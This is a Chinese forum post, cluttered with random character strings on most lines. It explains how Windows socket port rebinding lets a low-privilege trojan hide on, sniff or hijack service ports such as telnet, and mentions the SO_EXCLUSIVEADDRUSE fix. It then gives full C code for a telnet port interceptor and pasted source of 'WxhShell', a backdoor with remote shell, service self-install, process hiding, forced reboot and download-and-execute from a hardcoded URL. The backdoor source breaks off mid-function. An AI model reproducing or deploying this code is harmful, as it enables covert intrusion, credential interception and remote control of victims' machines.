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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: " M?dU^U^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); PuGs%{$(h  
f+n {9Hz  
  saddr.sin_family = AF_INET; ~wv$uL8y  
$L6R,%c  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); NFx%e  
-)')PV_+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0zSz[;A  
NW`.7'aWT  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,(K-;Id4  
0;">ETh=  
  这意味着什么?意味着可以进行如下的攻击: Bl8|`R^g  
43M.Hj]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 S\:+5}  
-aok]w m  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) SE^l`.U@  
,f:K)^yD  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 K$/"I0YyI  
NQ 6oyg@&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _LC*_LT_  
v G\J8s  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5=|h~/.k  
M 80Q6K  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >Jx=k"Kv+  
=d^hiR!GN  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 W&|?8%"l]  
l9a81NF{s  
  #include 4aBVO%t  
  #include ppvlU H5;  
  #include Komdz/g  
  #include    }s<;YC  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?z l<"u  
  int main() -wV2 79^b  
  { iz`>'wpC  
  WORD wVersionRequested; hB.8\-}QMq  
  DWORD ret; s_fe4K  
  WSADATA wsaData; @!! u>1  
  BOOL val; ZlMT) ~fM&  
  SOCKADDR_IN saddr; n~|?)EL  
  SOCKADDR_IN scaddr; u_9c>  
  int err; C{uT1`  
  SOCKET s; }kvix{  
  SOCKET sc; $ [fqTh  
  int caddsize; l$9k:#\FD  
  HANDLE mt; !0Nf`iCQ(  
  DWORD tid;   FVrB#Hw~  
  wVersionRequested = MAKEWORD( 2, 2 ); nf"#F@dk  
  err = WSAStartup( wVersionRequested, &wsaData ); +<[q"3  
  if ( err != 0 ) { PN]hG,q*4O  
  printf("error!WSAStartup failed!\n"); E\s1p: %  
  return -1; 2!B|w8ar  
  } Q}lCQK/g  
  saddr.sin_family = AF_INET; P<vU!`x% q  
   >(igVaZ>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 S 4 17.n  
^#Q-?O  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); V^[&4  
  saddr.sin_port = htons(23); "ckK{kS4~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wW\@^5  
  { [ R+M .5  
  printf("error!socket failed!\n"); lD[@D9  
  return -1; @U5gxK*  
  } H2: Zda#  
  val = TRUE; <af# C2`B  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 AJ*17w  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) SIrNZ^I  
  { 16 `M=R  
  printf("error!setsockopt failed!\n"); |au`ph5  
  return -1; T{+a48,;  
  } `+\$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; i]k)wr(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /}U)|6- B  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 H6 x  
T&pCLvkz  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) W)Y`8&,  
  { aXVldt'  
  ret=GetLastError(); WcKDerc  
  printf("error!bind failed!\n"); \z!lw  
  return -1; `IwZVz  
  } Ii[U%  
  listen(s,2); ;u'VR}4ph  
  while(1) ^\O*e)#*  
  { Y"8@\73(R  
  caddsize = sizeof(scaddr); MjC<N[WO>N  
  //接受连接请求 TCyev[(  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _yN5sLLyb  
  if(sc!=INVALID_SOCKET) $aJay]F  
  { t>}S@T{~T  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); T=42]h  
  if(mt==NULL) SQf[1}$ .  
  { !vu-`u~86  
  printf("Thread Creat Failed!\n"); Kj @<$ChZw  
  break; Oz-/0;1n  
  } V9"R8*@-  
  } 3R%JmLM+R9  
  CloseHandle(mt); "0;WYw?  
  } RNB&!NC  
  closesocket(s); X(BxC<!D.  
  WSACleanup(); nN<,rN{ :  
  return 0; IWq\M,P  
  }   =h-E N_[  
  DWORD WINAPI ClientThread(LPVOID lpParam) \D z? h  
  { !% W5@tN  
  SOCKET ss = (SOCKET)lpParam; F6yFKNK!n  
  SOCKET sc; pI K:$eN!/  
  unsigned char buf[4096]; us|Hb  
  SOCKADDR_IN saddr; 1DcBF@3sWG  
  long num; >^g2 Tg:  
  DWORD val; QEt"T7a[/  
  DWORD ret; A8mc+ Bf(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >>KI_$V  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   )GG9[%H!  
  saddr.sin_family = AF_INET; 7 SJ=2  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Aj cKz  
  saddr.sin_port = htons(23); nn:'<6"oV  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >fP;H}S6  
  { +?"F=.SZ  
  printf("error!socket failed!\n"); L1!~T+%uQ  
  return -1; Ir>4-@  
  } _w?!Mu  
  val = 100; w"[T  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ar >JQ@0  
  { u=qK_$d4  
  ret = GetLastError(); )m =xf1  
  return -1; t6+W  
  } y ]@JkF(  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d6tv4Cf  
  { sNpA!!\PM  
  ret = GetLastError(); rMIX{K)'f  
  return -1; [UzacXt  
  } Jb*QlsGd  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %p)&mYK{  
  { 3)W_^6>bM  
  printf("error!socket connect failed!\n"); HJg&fkHn1  
  closesocket(sc); ER9{D$  
  closesocket(ss); BrSvkce  
  return -1; Q+Q"JU  
  } b?`2LAgn  
  while(1) #|je m   
  { $6UU58>n  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ; ,sNRES3  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [5IbR9_  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Co(N8>1  
  num = recv(ss,buf,4096,0); $[`rY D/.  
  if(num>0) F%p DF\  
  send(sc,buf,num,0); {c3FJ5:  
  else if(num==0) }Em{?Hqy  
  break; 00i MU  
  num = recv(sc,buf,4096,0); Ddq*}Pf0K  
  if(num>0) D mi.@.  
  send(ss,buf,num,0); Z HZxr  
  else if(num==0) qVfn(rZ  
  break; HM)D/CO,?  
  } |z3!3?%R  
  closesocket(ss); @R`6j S_gK  
  closesocket(sc); D ON.)F  
  return 0 ; T\p>wiY2|F  
  } `!N}u  
/hqn>t  
Z_bVCe{  
========================================================== <h9nt4F  
ba G_7>Q9H  
下边附上一个代码,,WXhSHELL .up[wt gN  
I>nYI|o1  
========================================================== @:CM<+  
cA 4?[F  
#include "stdafx.h" C@ q#s  
.F@Lx45  
#include <stdio.h> en{p<]H  
#include <string.h> dDl+  
#include <windows.h> 0|-}>>qb\  
#include <winsock2.h> n[!QrEeR},  
#include <winsvc.h> 3t+{~{Dj  
#include <urlmon.h> {G vGV  
lq53 xT  
#pragma comment (lib, "Ws2_32.lib") ^GM3nx$  
#pragma comment (lib, "urlmon.lib") 3,v/zcV  
m4OnRZYlw  
#define MAX_USER   100 // 最大客户端连接数 N}VoO0I  
#define BUF_SOCK   200 // sock buffer 53aJnxX  
#define KEY_BUFF   255 // 输入 buffer q['D?)sy  
bf.+Ewb(  
#define REBOOT     0   // 重启 ) q'D9x9  
#define SHUTDOWN   1   // 关机 +~G:z|k  
(@*|[wN  
#define DEF_PORT   5000 // 监听端口 p<dw  C"z  
vjGJRk|XED  
#define REG_LEN     16   // 注册表键长度 =/a`X[9vI  
#define SVC_LEN     80   // NT服务名长度 b*S,8vE]  
] +%`WCr9  
// 从dll定义API z6M5 '$\y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y1r'\@L w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vA:ZR=)F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9A4n8,&sm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  gh[q*%#  
3O*iv{-&  
// wxhshell配置信息 :9 (kU  
struct WSCFG { 3C!|!N1Hn  
  int ws_port;         // 监听端口 5s^vC2$)  
  char ws_passstr[REG_LEN]; // 口令 Wx3DWY;  
  int ws_autoins;       // 安装标记, 1=yes 0=no r]xN&Ne5Q  
  char ws_regname[REG_LEN]; // 注册表键名 _z%\53h  
  char ws_svcname[REG_LEN]; // 服务名 V+1c<LwT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }03?eWk/y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <!G /&T  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;8vB7|54.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D +0il=5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r,IekFBs  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9=iMP~?xF  
d!<>Fh^6,  
}; W?E01"p  
y=\&z&3$  
// default Wxhshell configuration 9HN&M*}  
struct WSCFG wscfg={DEF_PORT, :tFc Pc'  
    "xuhuanlingzhe", yO8@.-jb  
    1, e^\(bp+83  
    "Wxhshell", ]6v7iuvI  
    "Wxhshell", BR@gJ(2  
            "WxhShell Service", LC=M{\  
    "Wrsky Windows CmdShell Service", H&*&n}vh5y  
    "Please Input Your Password: ", I&15[:b=-  
  1, }vB{6E+h/w  
  "http://www.wrsky.com/wxhshell.exe", W^[QEmyn  
  "Wxhshell.exe" g$)0E<  
    }; '.pGkXyQ  
[?<v|k  
// 消息定义模块 n3V$Xtxw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M-Vz$D/aed  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6w3[PNd  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3_;=y\F  
char *msg_ws_ext="\n\rExit."; `xv Uq\  
char *msg_ws_end="\n\rQuit."; ^=-25%&^  
char *msg_ws_boot="\n\rReboot..."; lws.;abm%n  
char *msg_ws_poff="\n\rShutdown..."; h){#dU+&  
char *msg_ws_down="\n\rSave to "; @/As|)  
D.7cWR`Wp  
char *msg_ws_err="\n\rErr!"; aW|=|K  
char *msg_ws_ok="\n\rOK!"; EqD@o  
"S{GjOlEDF  
char ExeFile[MAX_PATH]; g1F9IB42@<  
int nUser = 0; nw*a?$S3  
HANDLE handles[MAX_USER]; |,n(9Ix  
int OsIsNt; ^oDs*F  
4$2HO `@uN  
SERVICE_STATUS       serviceStatus; t`}=~/#`X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !7]^QdBLY  
ixM#|Yq  
// 函数声明 gP8}d*W%b  
int Install(void); /P[u vO  
int Uninstall(void); +  rN#  
int DownloadFile(char *sURL, SOCKET wsh); \C;Yn6PK0  
int Boot(int flag); .aWwJZ=[  
void HideProc(void); 9(=+OQ6  
int GetOsVer(void); $@{ d\@U  
int Wxhshell(SOCKET wsl); 90J WU$K  
void TalkWithClient(void *cs); fRk'\jzT  
int CmdShell(SOCKET sock); %T<c8w}dP  
int StartFromService(void); ~9!@BL\  
int StartWxhshell(LPSTR lpCmdLine); 9@M;\ @&g  
AxJqLSfyb,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); HWou&<EK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Xsb.xxK.  
(Y&gse1}!  
// 数据结构和表定义  56C'<#  
SERVICE_TABLE_ENTRY DispatchTable[] = _8`S&[E?  
{ &kWT<*;J)  
{wscfg.ws_svcname, NTServiceMain}, M9VAs~&S  
{NULL, NULL} OHngpe4  
}; 6eB~S)Ko  
kJ .7C  
// 自我安装 HCktgL:E=  
int Install(void) YyYp-0#  
{ Rdj3dg'<  
  char svExeFile[MAX_PATH]; Mp5Z=2l5  
  HKEY key; {}Afah  
  strcpy(svExeFile,ExeFile); ed/ "O gA  
)WEOqaR]  
// 如果是win9x系统,修改注册表设为自启动 T 9}dgf  
if(!OsIsNt) { |l|$ Q;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ow,! 7|m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NQ '|M  
  RegCloseKey(key); w1F)R^tU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |t$%kpp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .ArOZ{lKD>  
  RegCloseKey(key); 0"sZP\<p  
  return 0; qMO(j%N5  
    } .UK`~17!  
  } iy8Ln,4z(  
} %&'[? LXD  
else { aJs! bx>K  
V2m= m}HQ  
// 如果是NT以上系统,安装为系统服务 .)t*!$5=N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nGJ+.z  
if (schSCManager!=0) U; #v-'Z  
{ 'vZWk eo  
  SC_HANDLE schService = CreateService |F =.NY  
  ( 0eA |Uq~  
  schSCManager, @%MGLR{pH  
  wscfg.ws_svcname, ~WmA55  
  wscfg.ws_svcdisp, ,k:>Z&:  
  SERVICE_ALL_ACCESS, D#>d+X$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -Y"2c,~pH  
  SERVICE_AUTO_START, gazX2P[D  
  SERVICE_ERROR_NORMAL, FYg{IKg  
  svExeFile, 77]Fp(uI  
  NULL, 6%c]{eTd9  
  NULL, VB+_ kR6Zv  
  NULL, ?%>S5,f_  
  NULL, dHn,;Vv^6  
  NULL R C!~eJG!  
  ); $U^ Ms!'L  
  if (schService!=0) V1,4M_Z  
  { );p:[=$71  
  CloseServiceHandle(schService); @&Af [X4s  
  CloseServiceHandle(schSCManager); ){tT B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i Hcy,PBD  
  strcat(svExeFile,wscfg.ws_svcname); 5cr\ JR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6099w0fR`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ; jJ%<  
  RegCloseKey(key); #("E) P  
  return 0; 5G#2#Al(F  
    } ~P-^An^  
  } 8hX /~-H  
  CloseServiceHandle(schSCManager); SmP&wNHQf  
} c`)[-  
} k#5Qwxu`  
$C{-gx+:  
return 1; ]PH'G>x  
} =^ x1: Ak  
%$R]NL|  
// 自我卸载 ~#rmw6y  
int Uninstall(void) ukee.:{  
{ s%zdP  
  HKEY key; \-Q6z 8  
 (=Lx9-u  
if(!OsIsNt) { 40;4=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O 0P4uq  
  RegDeleteValue(key,wscfg.ws_regname); baR*4{]  
  RegCloseKey(key); V9D>Xh!0H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,V+,3TT  
  RegDeleteValue(key,wscfg.ws_regname); 5q}7#{A  
  RegCloseKey(key); RDu{U(!  
  return 0; s%l^zA(  
  } 6l(HD([_p  
} q+ 9c81b  
} (;nh?"5  
else { {@X)=.Zf  
_s0;mvz'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S1*xM  
if (schSCManager!=0) @$|bMH*1:  
{ kK]L(ZU +  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M+M\3U  
  if (schService!=0) F*,RDM'M  
  { Ij7[2V]c  
  if(DeleteService(schService)!=0) { KA9v?_@{F  
  CloseServiceHandle(schService); { =IAS}  
  CloseServiceHandle(schSCManager); E*UE?4FSw|  
  return 0; ]6?6 k4@  
  } v==/tr)  
  CloseServiceHandle(schService); CDG,l7  
  } ;<K#h9#*7  
  CloseServiceHandle(schSCManager); C.VU"= -  
} U!524"@%U`  
} ALp|fZ\vp  
f] kG%JEK  
return 1; qZh}gu*>  
} PCiwQ4~  
4Mv]z^  
// 从指定url下载文件 hyC]{E  
int DownloadFile(char *sURL, SOCKET wsh) qL!pDZk  
{ 1xb1?/n1#  
  HRESULT hr; X:OUu;  
char seps[]= "/"; N?mQ50o~C  
char *token; .arWbTR)~U  
char *file; sK|+&BC  
char myURL[MAX_PATH]; "l-R|>6~  
char myFILE[MAX_PATH]; Uf\U~wM<  
$x q$  
strcpy(myURL,sURL); 9at_F'> R  
  token=strtok(myURL,seps); I73=PfS:m  
  while(token!=NULL) m}sh (W5\  
  { V\r2=ok@y  
    file=token; bG!/%,s  
  token=strtok(NULL,seps); :Mnl1;oh  
  } d`J~w/] `\  
3|1v)E  
GetCurrentDirectory(MAX_PATH,myFILE); Qis/'9a  
strcat(myFILE, "\\"); 1c*XmMB  
strcat(myFILE, file); N|  
  send(wsh,myFILE,strlen(myFILE),0); cFloaCz  
send(wsh,"...",3,0); )s>R~7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *f3? 0w  
  if(hr==S_OK) 3 V0^v  
return 0; `:YCOF  
else g3vR\?c`  
return 1; l !:kwF  
Z3z"c B  
} [ih^VlZ  
5/m}v'S%  
// 系统电源模块 $VUX?ii$7=  
int Boot(int flag) %.  W56  
{ +Z=DvKsTJ  
  HANDLE hToken; yuq2)  
  TOKEN_PRIVILEGES tkp; )PjU=@$lI  
nm]m!.$d  
  if(OsIsNt) { s7 3'h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); em?Q4t  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L}pj+xB  
    tkp.PrivilegeCount = 1; `E8D5'tt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; trMwFpfu  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d2X?^  
if(flag==REBOOT) { `]wk)50BVp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b_a6|  
  return 0; F%G} >xn  
} v8 pOA<s  
else { I"2*}v|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0K^?QM|S  
  return 0; K5}0!_)G  
} b VcA#7 uA  
  } @ x5LrQ_`r  
  else { O#x=iZI  
if(flag==REBOOT) { OzUo}QN  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;><m[l6  
  return 0; aQglA  
} s-JS[  
else { lHc9D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) yUEvva  
  return 0; nXfd f-  
} -Rbv#Y  
} 2[g kDZ  
f}w_]l#[G  
return 1; K aNO&%qX  
} J1@skj4#\~  
!:M+7kmr7t  
// win9x进程隐藏模块 my%MXTm2  
void HideProc(void) p'\zL:3  
{ |Ju d*z  
lYhC2f m_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C!W0L`r  
  if ( hKernel != NULL ) > - U+o.o  
  { {fS~G2@1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); { _~vf  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y'm5Z-@o6  
    FreeLibrary(hKernel); 8\Hz FB  
  } *g[MGyF "  
%{&,5|8  
return; 59BB-R,V  
} nfksi``Vq  
t {H{xd  
// 获取操作系统版本 a6\`r^@  
int GetOsVer(void) d8K|uEHVz  
{ 40}7O<9*  
  OSVERSIONINFO winfo; [I`:%y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -9(pOwN |m  
  GetVersionEx(&winfo); kbZpi`w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]Wtg.y6;  
  return 1; I %|;M%B  
  else in`|.#  
  return 0; bL/DjsZ@  
} &1ZUMc  
oqbhb1D1<  
// 客户端句柄模块 >35W{ d  
int Wxhshell(SOCKET wsl) H`1q8}m  
{ @;}vK=6L  
  SOCKET wsh; H h35cj  
  struct sockaddr_in client; __}ut+H^5p  
  DWORD myID; l"/E,X  
]Hg6Mz>Mj  
  while(nUser<MAX_USER) q1Mt5O}  
{ *auT_*  
  int nSize=sizeof(client); 1@n'6!]6O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vQ,<Ke+d  
  if(wsh==INVALID_SOCKET) return 1; :Q8*MJ3&V  
V&7NN=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wlgR = l  
if(handles[nUser]==0) izs=5  
  closesocket(wsh); ojc.ykP$  
else YP>J'{?b*"  
  nUser++; ZmmX_!M  
  } Vllxv6/_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Zxh<pd25Y  
%F\.1\&eE  
  return 0; 7[I +1  
} _{$<s[S  
zwk& 3  
// 关闭 socket O_L>We@3E  
void CloseIt(SOCKET wsh) v2k@yxt(  
{ tXcZl!3x  
closesocket(wsh); s"R5'W\U  
nUser--; N5zx#g  
ExitThread(0); Po*!eD  
} & H8  %  
3n~O&{  
// 客户端请求句柄 qiH)J- ~GZ  
void TalkWithClient(void *cs) '}IGV`c  
{ snYeo?|b  
S0M i  
  SOCKET wsh=(SOCKET)cs; kPoz&e_@  
  char pwd[SVC_LEN]; I51I(QF=  
  char cmd[KEY_BUFF]; ~F%sO'4!  
char chr[1]; q1v7(`O  
int i,j; vo(:g6$  
*HB 32 =qD  
  while (nUser < MAX_USER) { gegM&Xo  
H4W!Md  
if(wscfg.ws_passstr) { -fp/3-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o`G6!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -ijzo%&qA  
  //ZeroMemory(pwd,KEY_BUFF); q;*'V9#  
      i=0; ESUO I  
  while(i<SVC_LEN) { "Mz#1Laby`  
xT(0-o*  
  // 设置超时 IwRP,MQ~  
  fd_set FdRead; rgDl%X2B  
  struct timeval TimeOut; >@Pw{Zh$  
  FD_ZERO(&FdRead); K+"3He  
  FD_SET(wsh,&FdRead); ;A4j_ 8\[  
  TimeOut.tv_sec=8; bg|dV  
  TimeOut.tv_usec=0; ZMLN ;.{Na  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;" Aj80  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #<X4RJ  
'T$Cw\F&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T?RN} @D  
  pwd=chr[0]; -xbs'[  
  if(chr[0]==0xd || chr[0]==0xa) { cQ'x]u_  
  pwd=0; Y% JE})  
  break; *6eJmbFG  
  } fef y`J  
  i++; wE"lk  
    } MV2$0  
\Zh&[D!2  
  // 如果是非法用户,关闭 socket ay|jq "a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <B>hvuCoH  
} p3Ozfk  
-<9Qez)y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {~w(pAx  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h(R7y@mp\0  
HDTA`h?t;  
while(1) { v(GnG  
QO0@Ax\b  
  ZeroMemory(cmd,KEY_BUFF); <-fvYer  
BMI`YGjY1  
      // 自动支持客户端 telnet标准   `e fiX^  
  j=0; H\H7a.@nkF  
  while(j<KEY_BUFF) { QT zN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (EvYrm4  
  cmd[j]=chr[0]; bI|{TKKN&P  
  if(chr[0]==0xa || chr[0]==0xd) { *JfGGI_E  
  cmd[j]=0; L>mM6$l  
  break; v9FR  
  } ,]nRnI^  
  j++; ''D7Bat@  
    } ." gq[0_YS  
j}d):3!  
  // 下载文件 mZc;n.$U  
  if(strstr(cmd,"http://")) { SP/b 4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y10W\beJ  
  if(DownloadFile(cmd,wsh)) [PB73q8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); IZm6.F  
  else `"PHhCG+z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &@'%0s9g  
  } ~@*q8l C  
  else {  otfmM]f  
](v,2(}=  
    switch(cmd[0]) { po\jhfn  
  1L+hI=\O  
  // 帮助 }h1LH4  
  case '?': { 4w'&:k47   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pC0gw2n8 M  
    break; ^*4#ZvpG2  
  } 6" Lyv  
  // 安装 Q)BSngW+  
  case 'i': { bcjh3WP  
    if(Install()) YFPse.2$a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pdER#7Tq  
    else Fx}v.A5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i7PS=]TK\  
    break; J%|;  
    } )/JVp>  
  // 卸载 8t=O=l\  
  case 'r': {  maHz3:  
    if(Uninstall()) wr:W}Z@pL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H ?9Bo!  
    else ;dMr2y`6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jA;b2A]G  
    break; ezbk@no  
    } -,YI>!  
  // 显示 wxhshell 所在路径 DBHHJD/q  
  case 'p': { QI U%!9Y  
    char svExeFile[MAX_PATH]; rqiH!R  
    strcpy(svExeFile,"\n\r"); rp dv{CUp7  
      strcat(svExeFile,ExeFile); rPBsr<k#5  
        send(wsh,svExeFile,strlen(svExeFile),0); &=*1[j\  
    break; =,q/FY:  
    } [%R?^*]  
  // 重启 re/u3\S  
  case 'b': { <9"@<[[,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t( V 2  
    if(Boot(REBOOT)) %'h:G Bkd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PX_9i@ZG  
    else { |v@_~HV  
    closesocket(wsh); Og1\6Q  
    ExitThread(0); ?Fa$lE4  
    } "%+||IyW  
    break; 4[gbRn'  
    } ": BZZ\!  
  // 关机 R!7--]Wcg  
  case 'd': { <dE~z]P  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2]Cn<zJ  
    if(Boot(SHUTDOWN)) x1`(Z|RJ  
